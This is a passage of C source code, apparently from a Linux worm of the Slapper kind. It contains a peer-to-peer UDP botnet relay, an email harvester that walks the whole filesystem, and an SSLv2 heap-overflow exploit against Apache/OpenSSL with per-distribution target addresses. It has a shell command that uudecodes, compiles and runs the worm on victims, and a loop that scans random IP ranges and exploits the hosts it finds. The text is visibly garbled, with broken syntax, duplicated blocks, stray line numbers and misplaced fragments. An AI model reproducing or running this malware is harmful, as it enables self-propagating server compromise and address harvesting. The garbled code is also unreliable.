            }
            return;
        }
        prevqueue = getqueue;
        getqueue = getqueue -> next;
    }
}

int waitforqueue() {
    if (mfork() == 0) {
        sleep(gettimeout());
        return 0;
    }
    return 1;
}

struct ainst udpserver;
char *lowsend(struct ainst *ts,unsigned char b,char *buf,unsigned long len) {
    struct llheader rp;
    struct mqueue *q;
    char *mbuf=(char*)malloc(sizeof(rp)+len);
    if (mbuf == NULL) return NULL;
    memset((void*)&rp,0,sizeof(struct llheader));
    rp.checksum=in_cksum(buf,len);
    rp.id=newrsa();
    rp.type=0;
    memcpy(mbuf,&rp,sizeof(rp));
    memcpy(mbuf+sizeof(rp),buf,len);
    q=(struct mqueue *)malloc(sizeof(struct mqueue));
    q -> packet=(char*)malloc(sizeof(rp)+len);
    memcpy(q -> packet,mbuf,sizeof(rp)+len);
    q -> len = sizeof(rp)+len;
    q -> id = rp.id;
    q -> time = time(NULL);
    q -> ltime = time(NULL);
    if (b) {
        q -> destination = 0;
        q -> port = PORT;
        q -> tries = b;
    } else {
        q -> destination = ts -> in.sin_addr.s_addr;
        q -> port = htons(ts -> in.sin_port);
        q -> tries = 1;
    }
    q -> next = queues;
    queues = q;
    if (ts) {
        audp_send(ts,mbuf,len+sizeof(rp));
        FREE(mbuf);
    }
    else return mbuf;
}

int relayclient(struct ainst *ts,char *buf,unsigned long len) {
    return lowsend(ts,0,buf,len)?1:0;
}

int relay(unsigned long server,char *buf,unsigned long len) {
    struct ainst ts;
    char srv[256];
    memset ((void*)srv,0,sizeof(struct ainst));
    conv(srv,256,server);
    audp_relay(&udpserver,ts,srv,PORT);
```c
873     return lowsend(&ts,0,buf,len)?1:0;
874 }
875
876 void segment(unsigned char low,char *buf, unsigned long len) {
877     unsigned long a=0,c=0;
878     char *mbuf=NULL;
879     if (numlinks == 0 || links == NULL) return;
880     if (low) mbuf=lowsend(NULL,low,buf,len);
881     for(c < 10;c++) {
882         a=rand() % numlinks;
883         if (links[a] != myip) {
884             struct ainst ts;
885             char srv[256];
886             memset((void *)&ts,0,sizeof(struct ainst));
887             conv(srv,256,links[a]);
888             audp_relay(&udpserver,&ts,srv,PORT);
889             if (mbuf) audp_send(&ts,mbuf,len+sizeof(struct llheader));
890             else audp_send(&ts,buf,len);
891             break;
892         }
893     }
894     FREE(mbuf);
895 }
896
897 void broadcast(char *buf,unsigned long len) {
898     struct route_rec rc;
899     char *str=(char*)malloc(sizeof(struct route_rec)+len+1);
900     if (str == NULL) return;
901     memset((void *)&rc,0,sizeof(struct route_rec));
902     rc.h.tag=0x26;
903     rc.h.id=rand();
904     rc.h.len=sizeof(struct route_rec)+len;
905     rc.h.seq=newseq();
906     rc.server=0;
907     rc.syn=rcyncodes;
908     rc.links=numlinks;
909     rc.hops=5;
910     memcpy((void*)str,(void*)buf,len);
911     segment(2,str,sizeof(struct route_rec)+len);
912     FREE(str);
913 }
914
915 void syncm(struct ainst *inst,char tag,int id) {
916     struct addsrv_rec rc;
917     struct next_rec { unsigned long server; } fc;
918     unsigned long a,b;
919     for (b=0; b<numlinks; a++) {
920         unsigned long _numlinks=numlinks-b>700?700:numlinks-b;
921         unsigned long _links=links+b;
922         unsigned char *str;
923         if (b > _numlinks) break;
924         str=(unsigned char*)malloc(sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
925         if (str == NULL) return;
926         memset((void*)&rc,0,sizeof(struct addsrv_rec));
927         rc.h.tag=tag;
928         rc.h.id=id;
929         if (id) rc.h.seq=newseq();
930         rc.h.len=sizeof(struct next_rec)*_numlinks;
931         memcpy((void*)str,(void*)&rc,sizeof(struct addsrv_rec));
932         for (a=0; a<_numlinks; a++) {
933             memset((void*)&fc,0,sizeof(struct addsrv_rec));
934             fc.server=links[a];
935             memcpy((void*)str+sizeof(struct addsrv_rec)+(a*sizeof(struct next_rec)),(void*)str+sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
936             if (id) relay(inst->in.sin_addr.s_addr,(void*)str,sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
937             else relayclient(inst,(void*)str,sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
938         }
939     }
940     FREE(str);
941 }
942 }
943
944 void senderror(struct ainst *inst, int id, char *buf2) {
945     struct data_rec rc;
946     char *str,*buf=strdup(buf2);
947     memset((void*)&rc,0,sizeof(struct data_rec));
948     rc.h.tag=0xA45;
949     rc.h.id=id;
950     rc.h.seq=newseq();
951     rc.h.len=strlen(buf2);
```
_encrypt(buf,strlen(buf2));
str=(char*)malloc(sizeof(struct data_rec)+strlen(buf2)+1);
if (str == NULL) {
    FREE(buf);
    return;
}
memcpy((void*)str,(void*)&rc,sizeof(struct data_rec));
memcpy((void*) (str+sizeof(struct data_rec)),buf,strlen(buf2));
relayclient(&udpclient,str,sizeof(struct data_rec)+strlen(buf2));
FREE(str);
FREE(buf);
}

//////////////////////////////////////////////////////////////////////////////////////
//                                      Scan for email                              
///////////////////////////////////////////////////
///////////////////////////////////

int isgood(char a) {
    if (a >= 'a' && a <= 'z') return 1;
    if (a >= 'A' && a <= 'Z') return 1;
    if (a >= '0' && a <= '9') return 1;
    if (a == '.' || a == '@' || a == '^' || a == '-' || a == '_') return 1;
    return 0;
}

int islisten(char a) {
    if (a == '.') return 1;
    if (a >= 'a' && a <= 'z') return 1;
    if (a >= 'A' && a <= 'Z') return 1;
    return 0;
}

struct _linklist {
    char *name;
    struct _linklist *next;
} *linklist=NULL;

void AddToList(char *str) {
    struct _linklist *getb=linklist,*newb;
    while(getb != NULL) {
        if (!strcmp(str,getb->name)) return;
        getb=getb->next;
    }
    newb=(struct _linklist *)malloc(sizeof(struct _linklist));
    if (newb == NULL) return;
    newb->name=strdup(str);
    newb->next=linklist;
    linklist=newb;
}

void cleanup(char *buf) {
    while(buf[strlen(buf)-1] == '\n' || buf[strlen(buf)-1] == '\r' || buf[strlen(buf)-1] == ' ')
        buf[strlen(buf)-1] = 0;
    while(*buf == '\n' || *buf == '\r' || *buf == ' ')
    {
        unsigned long i;
        for (i=strlen(buf)+1;i>0;i--) buf[i-1]=buf[i];
    }
}

void ScanFile(char *f) {
    FILE *file=fopen(f,"r");
    unsigned long startpos=0;
    if (file == NULL) return;
    while(1) {
        char buf[2];
        memset(buf,0,2);
        fseek(file,startpos,SEEK_SET);
        fread(buf,1,1,file);
        startpos++;
        if (feof(file)) break;
        if (*buf == '\r') {
            char email[256],c,d;
            unsigned long pos=0;
            while(1) {
                unsigned long oldpos=fseek(file);
                fseek(file,-1,SEEK_CUR);
                c=fgetc(file);
                if (!isgood(c)) break;
                fseek(file,-1,SEEK_CUR);
                if (oldpos == ftell(file)) break;
            }
        }
    }
    fclose(file);
```c
for (pos=0,c=0,d=0;pos<255;pos++) {
    email[pos]=fgetc(file);
    if (email[pos] == '.') c++;
    if (email[pos] == '@') d++;
    if (!isgood(email[pos])) break;
    email[pos]=0;
    if (c == 0 || d != 1) continue;
    if (email[strlen(email)-1] == '.') email[strlen(email)-1]=0;
    if (*email == '@' || *email == '.' || !*email) continue;
    if (!strcmp(email,"webmaster@mydomain.com")) continue;
    for (pos=0,c=0;pos<strlen(email);pos++) if (email[pos] == '.') c=pos;
    if (c == 0) continue;
    if (!strncmp(email+c,".hlp",4)) continue;
    for (pos=c,d=0;pos<strlen(email);pos++) if (!islisten(email[pos])) d=1;
    if (d == 1) continue;
    AddToList(email);
    for (pos=0,c=0,d=0;pos<255;pos++) {
        email[pos]=fgetc(file);
        if (email[pos] == '.') c++;
        if (email[pos] == '@') d++;
        if (!isgood(email[pos])) break;
    }
    email[pos]=0;
    if (c == 0 || d != 1) continue;
    if (email[strlen(email)-1] == '.') email[strlen(email)-1]=0;
    if (*email == '@' || *email == '.' || !*email) continue;
    if (!strcmp(email,"webmaster@mydomain.com")) continue;
    for (pos=0,c=0;pos<strlen(email);pos++) if (email[pos] == '.') c=pos;
    if (c == 0) continue;
    if (!strncmp(email+c,".hlp",4)) continue;
    for (pos=c,d=0;pos<strlen(email);pos++) if (!islisten(email[pos])) d=1;
    if (d == 1) continue;
    AddToList(email);
    for (pos=0,c=0,d=0;pos<255;pos++) {
        email[pos]=fgetc(file);
        if (email[pos] == '.') c++;
        if (email[pos] == '@') d++;
        if (!isgood(email[pos])) break;
    }
    email[pos]=0;
    if (c == 0 || d != 1) continue;
    if (email[strlen(email)-1] == '.') email[strlen(email)-1]=0;
    if (*email == '@' || *email == '.' || !*email) continue;
    if (!strcmp(email,"webmaster@mydomain.com")) continue;
    for (pos=0,c=0;pos<strlen(email);pos++) if (email[pos] == '.') c=pos;
    if (c == 0) continue;
    if (!strncmp(email+c,".hlp",4)) continue;
    for (pos=c,d=0;pos<strlen(email);pos++) if (!islisten(email[pos])) d=1;
    if (d == 1) continue;
    AddToList(email);
    for (pos=0,c=0,d=0;pos<255;pos++) {
        email[pos]=fgetc(file);
        if (email[pos] == '.') c++;
        if (email[pos] == '@') d++;
        if (!isgood(email[pos])) break;
    }
    email[pos]=0;
    if (c == 0 || d != 1) continue;
    if (email[strlen(email)-1] == '.') email[strlen(email)-1]=0;
    if (*email == '@' || *email == '.' || !*email) continue;
    if (!strcmp(email,"webmaster@mydomain.com")) continue;
    for (pos=0,c=0;pos<strlen(email);pos++) if (email[pos] == '.') c=pos;
    if (c == 0) continue;
    if (!strncmp(email+c,".hlp",4)) continue;
    for (pos=c,d=0;pos<strlen(email);pos++) if (!islisten(email[pos])) d=1;
    if (d == 1) continue;
    AddToList(email);
}
fclose(file);
}
void StartScan() {
    FILE *f;
    f=fopen("find / -type f","r");
    if (f == NULL) return;
    while(1) {
        char fullfile[1024];
        memset(fullfile,0,1024);
        fgets(fullfile,1024,f);
        if (feof(f)) break;
        if(fullfile[strlen(fullfile)-1] == '\n' ||
            fullfile[strlen(fullfile)-1] == '\r')
            fullfile[strlen(fullfile)-1]=0;
        if (!strncmp(fullfile,"/proc",5)) continue;
        if (!strncmp(fullfile,"/dev",4)) continue;
        if (!strncmp(fullfile,"/bin",4)) continue;
        ScanFile(fullfile);
    }
}
//////////////////////////////////////////////////////////////////////////////////////
// Exploit                                       //
//////////////////////////////////////////////////////////////////////////////////////
#ifndef SCAN
#include <openssl/ssl.h>
#include <openssl/rsa.h>
#include <openssl/x509.h>
#include <openssl/evp.h>

char *GetAddress(char *ip) {
    struct sockaddr_in sin;
    fd_set fds;
    int n,d,sock;
    char buf[1024];
    struct timeval tv;
    sock = socket(PF_INET, SOCK_STREAM, 0);
    sin.sin_family = PF_INET;
    sin.sin_addr.s_addr = inet_addr(ip);
    sin.sin_port = htons(80);
    if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) return NULL;
    write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n"));
    tv.tv_sec = 15;
    tv.tv_usec = 0;
    FD_ZERO(&fds);
    FD_SET(sock, &fds);
    if (select(sock, &fds, NULL, NULL, &tv) > 0) {
        if((n = read(sock, buf, sizeof(buf)) - 1)) < 0) return NULL;
        for (d=0;dn;d++) if (!strncmp(buf+d,"Server: ",strlen("Server: ")) (char *start=buf+d+strlen("Server: ");
            for (d=0;dstart(d);d++) if (start[d] == '\n') start[d]=0;
            cleanup(start);
            return strdup(start);
        }
    }
    return NULL;
}
# define ENC(c) ((c) ? ((c) & 077) + ' ' : '`')

int sendch(int sock, int buf) {
    char a[2];
    int b = 1;
    if (buf == '\' || buf == '"' || buf == '$') {
        a[0] = '\';
        a[1] = 0;
        b = write(sock, a, 1);
    }
    if (b <= 0) return b;
    a[0] = buf;
    a[1] = 0;
    return write(sock, a, 1);
}

int writem(int sock, char *str) {
    return write(sock, str, strlen(str));
}

int encode(int a) {
    register int ch;
    register char *p;
    FILE *in;
    if ((in=fopen("/tmp/.bugtraq.c","r")) == NULL) return 0;
    writem(a, "begin 655 .bugtraq.c
    while ((n = fread(buf, 1, 45, in))) {
        ch = ENC(n);
        if (sendch(a, ch) <= ASUCCESS) break;
        for (p = buf; n > 0; n -= 3, p += 3) {
            if (n < 3) {
                p[2] = '\0';
                if (n < 2) p[1] = '\0';
            }
            ch = *p >> 2;
            ch = ENC(ch);
            if (sendch(a, ch) <= ASUCCESS) break;
            ch = ENC(ch);
            if (sendch(a, ch) <= ASUCCESS) break;
        }
    }
    ch = ENC('n');
    if (sendch(a, ch) <= ASUCCESS) break;
    usleep(10);
    if (ferror(in)) {
        fclose(in);
        return 0;
    }
    ch = ENC('0');
    sendch(a, ch);
    ch = 'n';
    sendch(a, ch);
    writem(a, "end
    return 1;"
    }
}

#define MAX_ARCH 21

struct archs {
    char *os;
    char *apache;
    int func_addr;
} architectures[] = {
    {"Gentoo", "", 0x08086c34},
    {"Debian", "1.3.26", 0x080863cc},
}
unsigned char overwrite_next_chunk[] =
  "AAAA"
  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
  "x0\x00\x00\x00";

unsigned char overwrite_session_id_length[] =
  "AAAA"
  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
  "x0\x00\x00\x00\x00";

#define FINDERSCKPORTOS 208 + 12 + 46

extern int errno;
int cipher;
int ciphers;

{"Slackware", "1.3.26", 0x083d37fc},
{"Mandrake", "1.3.20", 0x0809e97c},
{"SuSE", "1.3.20", 0x08099da8},
{"SuSE", "1.3.19", 0x08099ec8},
{"SuSE", "1.3.17", 0x0809f54c},
{"Red Hat", "1.3.26", 0x08161c14},
{"Red Hat", "1.3.23", 0x0808528c},
{"Red Hat", "1.3.22", 0x0808400c},
{"SuSE", "1.3.12", 0x0809f54c},
{"SuSE", "1.3.11", 0x08099964},
{"SuSE", "1.3.19", 0x08099ec8},
{"SuSE", "1.3.20", 0x0809da8},
{"SuSE", "1.3.23", 0x08086168},
{"SuSE", "1.3.23", 0x080861c8},
{"Mandrake", "1.3.14", 0x08099a9f},
{"Mandrake", "1.3.19", 0x0809ea9f},
{"Mandrake", "1.3.20", 0x0809e97c},
{"Mandrake", "1.3.23", 0x08086586},
{"Slackware", "1.3.26", 0x0803d37fc},
{"Slackware", "1.3.26", 0x080b2100}
};
typedef struct {
  int sock;
  unsigned char challenge[CHALLENGE_LENGTH];
  unsigned char master_key[RC4_KEY_LENGTH];
  unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];
  int conn_id_length;
  unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
  X509 * x509;
  unsigned char* read_key;
  unsigned char* write_key;
  RC4_KEY* rc4_read_key;
  RC4_KEY* rc4_write_key;
  int read_seq;
  int write_seq;
  int encrypted;
} ssl_conn;

long getip(char *hostname) {
  struct hostent *he;
  long ipaddr;
  if (!strcmp(hostname, "0") ||
     (he = gethostbyname(hostname)) == NULL) exit(-1);
  memcpy(&ipaddr, he->h_addr, he->h_length);
  return ipaddr;
}

int sh(int sockfd) {
  char localip[256], rcv[1024];
  fd_set rset;
  int maxfd, n;

  alarm(3600);
  write(sockfd, "TERM=xterm; export TERM=xterm; exec bash
  
  sh &> /tmp/.bugtraq.c;cat > /tmp/.uubugtraq << __eof__;
  
  __eof__
  
  conv(localip,256,myip);
  memset(rcv,0,1024);
1355     sprintf(rcv, "/usr/bin/uudecode -o /tmp/.bugtraq.c /tmp/.uubugtraq;gcc -o /tmp/.bugtraq /tmp/.bugtraq.c -lcrypto;/tmp/.bugtraq %s;exit;" , localip);

1356     writem(sockfd, rcv);
1357     for (;;) {
1358       FD_ZERO(&rset);
1359       FD_SET(sockfd, &rset);
1360       select(sockfd+1, &rset, NULL, NULL, NULL);
1361       if (FD_ISSET(sockfd, &rset)) if (n = read(sockfd, rcv, sizeof(rcv))) == 0) return 0;
1362     }
1363   }
1364
1365   int get_local_port(int sock) {
1366     struct sockaddr_in s_in;
1367     unsigned int namelen = sizeof(s_in);
1368     if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) exit(1);
1369     return s_in.sin_port;
1370   }
1371
1372   int connect_host(char* host, int port) {
1373     struct sockaddr_in s_in;
1374     int sock;
1375     s_in.sin_family = AF_INET;
1376     s_in.sin_addr.s_addr = getip(host);
1377     s_in.sin_port = htons(port);
1378     if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) exit(1);
1379     alarm(10);
1380     if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) exit(1);
1381     alarm(0);
1382     return sock;
1383   }
1384
1385   ssl_conn* ssl_connect_host(char* host, int port) {
1386     ssl_conn* ssl;
1387     if (!((ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) exit(1);
1388     ssl->encrypted = 0;
1389     ssl->write_seq = 0;
1390     ssl->read_seq = 0;
1391     ssl->sock = connect_host(host, port);
1392     return ssl;
1393   }
1394
1395   char res_buf[30];
1396
1397   int read_data(int sock, unsigned char* buf, int len) {
1398     int l;
1399     do {
1400       if ((l = read(sock, buf, to_read)) < 0) exit(1);
1401       to_read -= len;
1402     } while (to_read > 0);
1403     return len;
1404   }
1405
1406   int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size) {
1407     int rec_len, padding;
1408     read_data(ssl->sock, buf, 2);
1409     if ((buf[0] & 0x80) == 0) {
1410       rec_len = ((buf[0] & 0x3f) << 8) | buf[1];
1411       read_data(ssl->sock, &buf[2], 1);
1412       padding = (int)buf[2];
1413     } else {
1414       rec_len = ((buf[0] & 0x7f) << 8) | buf[1];
1415       padding = 0;
1416     }
1417     if (rec_len <= 0) || (rec_len > buf_size)) exit(1);
1418     read_data2(ssl->sock, buf, rec_len);
1419     if (ssl->encrypted) {
1420       if (MD5_DIGEST_LENGTH + padding >= rec_len) {
1421         if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) return 0;
1422       } else exit(1);
1423     }
1424     rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
1425     memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
1426     if (buf[0] == SSL2_MT_ERROR) {
1427       if (rec_len == 3) exit(1);
1428     } else return 0;
1429   }
void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len) {
    unsigned char buf[BUFSIZE];
    unsigned char* p;
    int tot_len;
    MD5_CTX ctx;
    int seq;
    if (ssl->encrypted) tot_len = rec_len + MD5_DIGEST_LENGTH;
    else tot_len = rec_len;
    if (2 + tot_len > BUFSIZE) exit(1);
    p = buf;
    s2n(tot_len, p);
    buf[0] = buf[0] | 0x80;
    if (ssl->encrypted) {
        seq = ntohl(ssl->write_seq);
        MD5_Init(&ctx);
        MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
        MD5_Update(&ctx, rec, rec_len);
        MD5_Update(&ctx, &seq, 4);
        MD5_Final(p, &ctx);
        p+=MD5_DIGEST_LENGTH;
        memcpy(p, rec, rec_len);
        RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);
    } else memcpy(p, rec, rec_len);
    send(ssl->sock, buf, 2 + tot_len, 0);
    ssl->write_seq++;
}

void send_client_hello(ssl_conn *ssl) {
    int i;
    unsigned char buf[BUFSIZE] = 
        "\x01\x00\x02\x00\x18\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
ssl->x509=d2i_X509(NULL,&p,(long)cert_length);
if (ssl->x509 == NULL) exit(1);
if (cs_length % 3 != 0) exit(1);
found = 0;
for (end=p+cs_length; p < end; p += 3) if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80)) found = 1;
if (!found) exit(1);
if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) exit(1);
sssl->conn_id_length = conn_id_length;
memcpy(sssl->conn_id, p, conn_id_length);

void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) {
    int encrypted_key_length, key_arg_length, record_length;
    unsigned char* p;
    int i;
    EVP_PKEY *pkey=NULL;
    unsigned char buf[BUFSIZE] =
    "\x02\x01\x00\x80";
    p = &buf[10];
    for (i = 0; i < RC4_KEY_LENGTH; i++) ssl->master_key[i] = (unsigned char) (rand() >> 24);
    pkey=X509_get_pubkey(sssl->x509);
    if (!pkey) exit(1);
    if (pkey->type != EVP_PKEY_RSA) exit(1);
    encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa,
    RSA_PKCS1_PADDING);
    if (encrypted_key_length <= 0) exit(1);
    p += encrypted_key_length;
    if (key_arg_overwrite) {
        for (i = 0; i < 8; i++) *(p++) = (unsigned char) (rand() >> 24);
        memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
        key_arg_length = 8 + key_arg_overwrite_len;
    }
    else key_arg_length = 0;
    p = &buf[16];
    s2n(encrypted_key_length, p);
    s2n(key_arg_length, p);
    record_length = 10 + encrypted_key_length + key_arg_length;
    send_ssl_packet(ssl, buf, record_length);
    ssl->encrypted = 1;
}

void generate_key_material(ssl_conn* ssl) {
    unsigned int i;
    MD5_CTX ctx;
    unsigned char *km;
    unsigned char c='0';
    km=ssl->key_material;
    for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) {
        MD5_Init(&ctx);
        MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH);
        MD5_Update(&ctx,&c,1);
        c++;
        MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);
        MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);
        MD5_Final(km,&ctx);
        km+=MD5_DIGEST_LENGTH;
    }
}

void generate_session_keys(ssl_conn* ssl) {
    generate_key_material(sssl);
    ssl->rc4_read_key = &ssl->key_material[0];
    ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
    RC4_set_key(sssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);
    ssl->write_key = &ssl->key_material[RC4_KEY_LENGTH];
    ssl->write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
    RC4_set_key(sssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);
}

void get_server_verify(ssl_conn* ssl) {
    unsigned char buf[BUFSIZE];
    int len;
if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);
if (len != 1 + CHALLENGE_LENGTH) exit(1);
if (buf[0] != SSL2_MT_SERVER_VERIFY) exit(1);
if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) exit(1);
}

void send_client_finished(ssl_conn* ssl) {
unsigned char buf[BUFSIZE];
buf[0] = SSL2_MT_CLIENT_FINISHED;
memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length);
send_ssl_packet(ssl, buf, 1+ssl->conn_id_length);
}

void get_server_finished(ssl_conn* ssl) {
unsigned char buf[BUFSIZE];
int len;
for (i=0;i<MAX_ARCH;i++) {
    if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) {
        arch=i;
        break;
    }
}
if (arch == -1) arch=9;
srand(0x31337);
for (i=0; i<N; i++) {
    connect_host(ip, port);
    usleep(100000);
}
ssl1 = ssl_connect_host(ip, port);
ssl2 = ssl_connect_host(ip, port);
send_client_hello(ssl1);
get_server_hello(ssl1);
send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1);
generate_session_keys(ssl1);
get_server_verify(ssl1);
send_client_finished(ssl1);
get_server_finished(ssl1);
port = get_local_port(ssl2->sock);
overwrite_next_chunk[FINDSCKPORTOF] = (char) (port & 0xff);
overwrite_next_chunk[FINDSCKPORTOF+1] = (char) ((port >> 8) & 0xff);
*(int*)&overwrite_next_chunk[156] = cipher;
*(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
*(int*)&overwrite_next_chunk[196] = ciphers + 16;
send_client_hello(ssl2);
get_server_hello(ssl2);
send_client_master_key(ssl2, overwrite_nextchunk, sizeof(overwrite_nextchunk)-1);
generate_session_keys(ssl2);
unsigned char a=0, b=0, c=0, d=0;
unsigned long bases,*cpbases;
struct initsrv_rec initrec;
int null=open("/dev/null",O_RDWR);
uptime=time(NULL);
srand(time(NULL)^getpid());
memset((char*)&routes,0,sizeof(struct route_table)*24);
memset(clients,0,sizeof(struct ainst)*CLIENTS*2);
if (udp_listen(&udpserver,PORT) != 0) {
  printf("Error: %s\n",aerror(&udpserver));
  return 0;
}
memset((void*)&initrec,0,sizeof(struct initsrv_rec));
initrec.h.tag=0x70;
initrec.h.len=0;
initrec.h.id=0;
cpbases=(unsigned long*)malloc(sizeof(unsigned long)*argc);
if (cpbases == NULL) {
  printf("Insufficient memory\n");
  return 0;
}
for (bases=1;bases<argc;bases++) {
cpbases[bases-1]=aresolve(argv[bases]);
relay(cpbases[bases-1],(char*)&initrec,sizeof(struct initsrv_rec));
}
numlinks=0;
dup2(null,0);
dup2(null,1);
dup2(null,2);
if (fork()) return 1;
signal(SIGCHLD,nas);
signal(SIGHUP,nas);
while (1) {
  struct timeval tm;
  struct timeval timeout=0, timeout2=0, timeout3=0;
  // Some code...
  if (udpserver.sock > 0) FD_SET(udpserver.sock,&read);
  for (n=0;n<CLIENTS*2;n++) if (clients[n].sock > 0) {
    FD_SET(clients[n].sock,&read);
  }
if (clients[n].sock > l) l=clients[n].sock;

memset((void *)&tm,0,sizeof(struct timeval));
tm.tv_sec = 2;
tm.tv_usec = 0;
l = select(l+1,&read,NULL,NULL,&tm);

if (l == -1) {
    for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
        unsigned int *newpids, on;
        for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
        pids[on-1]=0;
        numpids--;
        newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
        if (newpids != NULL) {
            for (on=0;on<numpids;on++) newpids[on]=pids[on];
            FREE(pids);
            pids=newpids;
        }
    }
    continue;
}

timeout += time(NULL)-start;

if (timeout >= 60) {
    if (links == NULL || numlinks == 0) {
        memset((void*)&initrec,0,sizeof(struct initsrv_rec));
        initrec.h.tag=0x70;
        initrec.h.len=0;
        initrec.h.id=0;
        for (i=0;i<bases;i++) relay(cpbases[i],(char*)&initrec,sizeof(struct initsrv_rec));
    }
    else if (!myip) {
        memset((void*)&initrec,0,sizeof(struct initsrv_rec));
        initrec.h.tag=0x74;
        initrec.h.len=0;
        initrec.h.id=0;
        segment(2,(char*)&initrec,sizeof(struct initsrv_rec));
    }
    else for (i=0;i<basestr;i++) segment(0,(char*)&initrec,sizeof(struct initsrv_rec));
    timeout=0;
    timeout2 += time(NULL)-start;
}

if (timeout2 >= 3) {
    struct mqueue *getqueue=queues;
    while(getqueue != NULL) {
        if ((time(NULL)-getqueue->ltime) >= (getqueue->destination?6:3)) {
            struct ainst ts;
            char srv[256];
            unsigned char i;
            memset((void*)&ts,0,sizeof(struct ainst));
            getqueue->ltime=time(NULL);
            if (getqueue->destination) {
                conv(srv,256,getqueue->destination);
                audp_relay(&udpserver,srv,udpserver->sport);
                audp_send(srv,getqueue->packet,getqueue->len);
            }
            else for (i=0;i<getqueue->trys;i++) segment(0,getqueue->packet,getqueue->len);
            getqueue=getqueue->next;
            continue;
        }
    }

    timeout3 += time(NULL)-start;
    if (timeout3 >= 60*10) {
        char buf[2]={0,0};
        syncmode(1);
        broadcast(buf,1);
        timeout3=0;
    }
    if (udpserver.sock > 0 & & FD_ISSET(udpserver.sock,&read)) udpserver.len=AREAD;
for (n=0; n< (CLIENTS*2); n++) if (clients[n].sock > 0) if (FD_ISSET(clients[n].sock, &read))

clients[n].len=AREAD;

#endif SCAN

if (myip) for (n=CLIENTS, p=0; n< (CLIENTS*2) && p < 100; n++) if (clients[n].sock == 0) {
    char srv[256];
    if (d == 255) {
        if (c == 255) {
            a=classes[rand()%sizeof classes];
            b=rand();
            c=0;
        } else c++;
        d=0;
    } else d++;
    memset(srv,0,256);
    sprintf(srv,"%d.%d.%d.%d",a,b,c,d);
    atcp_sync_connect(&clients[n], srv, SCANPORT);
    p++;
}

for (n=CLIENTS; n< (CLIENTS*2); n++) if (clients[n].sock != 0) {
    p=atcp_sync_check(&clients[n]);
    if (p == ASUCCESS || p == ACONNECT || time(NULL) - (unsigned long)clients[n].ext >= 5)
        atcp_close(&clients[n]);
    if (p == ASUCCESS) {
        char srv[256];
        conv(srv,256,clients[n].in.sin_addr.s_addr);
        if (mfork() == 0) {
            exploit(srv);
            exit(0);
        }
    } else if (clients[n].ext2 == TCP_PENDING) {
        struct add_rec rc;
        memset((void*)&rc,0,sizeof(struct add_rec));
        p=atcp_sync_check(&clients[n]);
        if (p == ACONNECT) {
            rc.h.tag=0x42;
            rc.h.seq=newseq();
            rc.h.id=clients[n].ext3;
            relayclient(clients[n].ext,(void*)&rc,sizeof(struct add_rec));
            FREE(clients[n].ext);
            FREE(clients[n].ext5);
